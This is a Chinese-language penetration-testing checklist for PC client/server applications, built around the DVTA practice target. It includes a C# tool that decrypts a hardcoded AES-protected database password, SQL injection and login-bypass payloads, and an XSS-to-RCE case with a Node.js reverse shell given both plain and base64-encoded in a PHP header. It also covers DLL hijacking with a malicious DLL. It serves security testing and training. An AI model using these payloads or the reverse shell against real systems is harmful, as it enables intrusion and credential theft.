PC客戶端(CS架構)客戶端滲透測試指南
- 2019 年 10 月 11 日
- 筆記
0x00前言
本項目主要針對PC客戶端(CS架構)滲透測試,結合自身測試經驗和網路資料形成清單,如有任何問題,歡迎聯繫,期待大家貢獻更多的技巧和案例。
0x01概述
PC客戶端,有豐富功能的圖形用戶介面,CS架構。

0x02開發語言
C#(.NET),JAVA,DELPHI,C,C ++ ......
0x03協議
TCP,HTTP(S),TDS ......
0x04資料庫
Oracle,MSSQL,DB2 ......
0x05測試工具
//相關工具下載:https://github.com/theLSA/hack-cs-tools
dvta: pc客戶端靶場
ida pro: 靜態分析工具
ollydbg:動態分析工具
CFF Explorer:PE文件分析
PEID:查殼工具
exeinfope/studype:pe文件分析
wireshark:觀察流量
tcpview:觀察tcp流量
echo Mirage:可攔截tcp流量
burpsuite:http(s)抓包
proxifier:全局代理流量
procmon:文件和註冊表監控
regshot:註冊表變化對比
process Hacker:進程分析
RegfromApp:註冊表監控
WSExplorer:歲月聯盟進程抓包工具
strings:查看程式的字元串
.net[反]編譯:
dotpeek
de4dot
dnspy
ilspy
sae
ildasm
ilasm
Java反編譯
jad
jd-gui
jadx
dex2jar
在線版: javare.cn
www.javadecompilers.com
Reflexil:組裝編輯器(可以作為ilspy插件)
Vcg:自動化程式碼審計工具
BinScope:二進位分析工具
0x06代理設置
大部分客戶端沒有代理配置功能,需要自行設置全局代理,如下兩種方法:
1)IE-互聯網設置 - 連接 - 區域網設置。
2)代理伺服器/代理伺服器規則
// http的流量可以結合burpsuite方便測試(代理伺服器設置為burp代理地址)。
0x07測試點
0.1 資訊收集
編譯資訊,開發環境/語言,使用協議,資料庫,IP,混淆/加密,是否加殼等。
案例0-CFF查看客戶端資訊(如編譯環境)
dvta

1. 逆向工程
反編譯,源程式碼泄露,硬編碼密鑰/密碼,加解密邏輯,角色判斷邏輯(0-admin,1- normaluser),後門等。
案例0-反編譯獲取加解密邏輯並編寫解密工具
dvta

通過該邏輯和獲取的資訊

加密的文本: CTsvjZ0jQghXYWbSRcPxpQ ==
AES密鑰: J8gLXc454o5tW2HEF7HahcXPufj9v8k8
IV: fq20T0gMnXa6g0l4
編寫解密工具
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Security.Cryptography; namespace aesdecrypt { public partial class aesdecrypt : Form { public aesdecrypt() { InitializeComponent(); } private void decrypt(object sender, EventArgs e) { String key = 「J8gLXc454o5tW2HEF7HahcXPufj9v8k8」; String IV = 「fq20T0gMnXa6g0l4」; String encryptedtext = 「CTsvjZ0jQghXYWbSRcPxpQ==」; byte[] encryptedBytes = Convert.FromBase64String(encryptedtext); AesCryptoServiceProvider aes = new AesCryptoServiceProvider(); aes.BlockSize = 128; aes.KeySize = 256; aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key); aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV); aes.Padding = PaddingMode.PKCS7; aes.Mode = CipherMode.CBC; ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV); byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length); String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes); Console.WriteLine(「n」); Console.WriteLine(「##########Decryptig Database password##########n」); Console.WriteLine(「Decrypted Database password:」 + decryptedString+」n」); Console.WriteLine(「##########Done##########n」); } } }案例1-反編譯修改程式碼邏輯讓普通用戶以管理員登錄
dvta

1-Isadmin
0 Normaluser
改1為0即可判斷為管理
2. 資訊泄露
明文敏感資訊,敏感文件(如安裝目錄下的xxx.config)。
註冊表:利用regshot比較客戶端運行(如登錄)前後註冊表差別。
開發調試日誌記錄(如dvta.exe >> log.txt)
process hacker查看客戶端記憶體中的明文敏感數據(如帳號密碼/密鑰)。
strings直接查看客戶端字元串(如IP資訊)。
查看源程式碼(如github上,gitee等)
案例0-配置敏感資訊泄露
dvta

案例1-記憶體泄露資料庫帳號密碼
dvta

案例2-源程式碼含有硬編碼的ftp帳號密碼
dvta

案例3-開發調試日誌泄露
dvta

案例4-某系統登錄後本地保存帳號密碼

//案例本。來源於https://blog.csdn.net/weixin_30685047/article/details/95916065
3. 傳輸流量
Wireshark / echo Mirage / burpsuite + nopeproxy / filler / charles
FTP等協議明文傳輸的帳號密碼
SQL語句明文傳輸(如利用構造注入,越權等)
案例0-正方教務系統的SQL語句明文傳輸,返回明文數據


//本案例來源於wooyun
4. 其他漏洞
爆破
如登錄功能。
用戶名枚舉
案例0


SQL語句暴露
案例0

SQL注入
如登錄處,萬能密碼
xxx』 or 『x』=』x
xxx』 or 1=1--
輸入框處,構造閉合報錯,如』、』)、%』)、order by 100--等。
利用顯示位或報錯注出數據,原理同web注入,不同資料庫大同小異。
案例0-oracle的注入
' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--

案例1-MSSQL注入
111') and (select user)>0--

CSV注入
如導出excel,輸入1+1,導出後看是否為2。
弱口令
可嘗試admin 123456等。
XSS
如Electron,NodeWebKit等。
案例0-中國蟻劍xss到rce
環境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5
xss webshell:
<?php header('HTTP/1.1 500 <img src=# onerror=alertx>');
WIN +的node.js:
成功
var net = require("net"), sh = require("child_process").exec("cmd.exe"); var client = new net.Socket(); client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});<?php header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs = ,BASE64).toString())'>"); ?>
相關參考
https://www.anquanke.com/post/id/176379
命令執行
案例0-印象筆記窗口客戶端6.15本地文件讀取和遠程命令執行
http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6% 88%AB B7%E7%%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96 %E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C /
案例1某雲PC客戶端命令執行挖掘過程
https://www.secpulse.com/archives/53852.html
案例2-金山WPS郵件郵件客戶端遠程命令執行漏洞(Mozilla系XUL程式利用技巧)
https://shuimugan.com/bug/view?bug_no=193117
邏輯缺陷
測試點同網路。
密碼明文傳輸
DLL劫持
Linux文件搜索順序:
- 當前目錄
- PATH順序值目錄
程式搜索Dll順序:
//沒提供絕對路徑
1.應用程式載入的目錄。
2.當前目錄。
3.系統目錄 (C:WindowsSystem32)。
4.16位的系統目錄。
5.Windows目錄。
6.PATH變數的目錄。
程式可以載入攻擊者放置的惡意dll。
利用procmon搜索程式載入的dll,觀察name not found。
msf生成惡意dll放置於程式載入位置,運行程式即可觸發payload。
案例0-DLL劫持
dvta


授權認證缺陷
註冊表鍵值,授權伺服器返回資訊構造。
相關參考
https://cloud.tencent.com/developer/article/1430899
越權
未授權
案例0-正方教務系統資料庫任意操作
知道IP即可接管資料庫

//本案例來源於wooyun
溢出
0x08相關技巧
1.wireshark直接過濾出伺服器或資料庫的IP或協議方便查看,如
ip.addr == 1.2.3.4 && http
2.如果有資料庫帳號,可以用資料庫監控sql語句操作(如sql server profiler)。
0x09參考資料和&相關資源
https://resources.infosecinstitute.com
PDF下載地址:
https://github.com/theLSA/CS-checklist/blob/master/CS-checklist.pdf
相關工具的下載地址:
https://github.com/theLSA/hack-cs-tools
參考來源:Github
作者:theLSA
原文地址見點擊閱讀原文
如有侵權,請聯繫刪除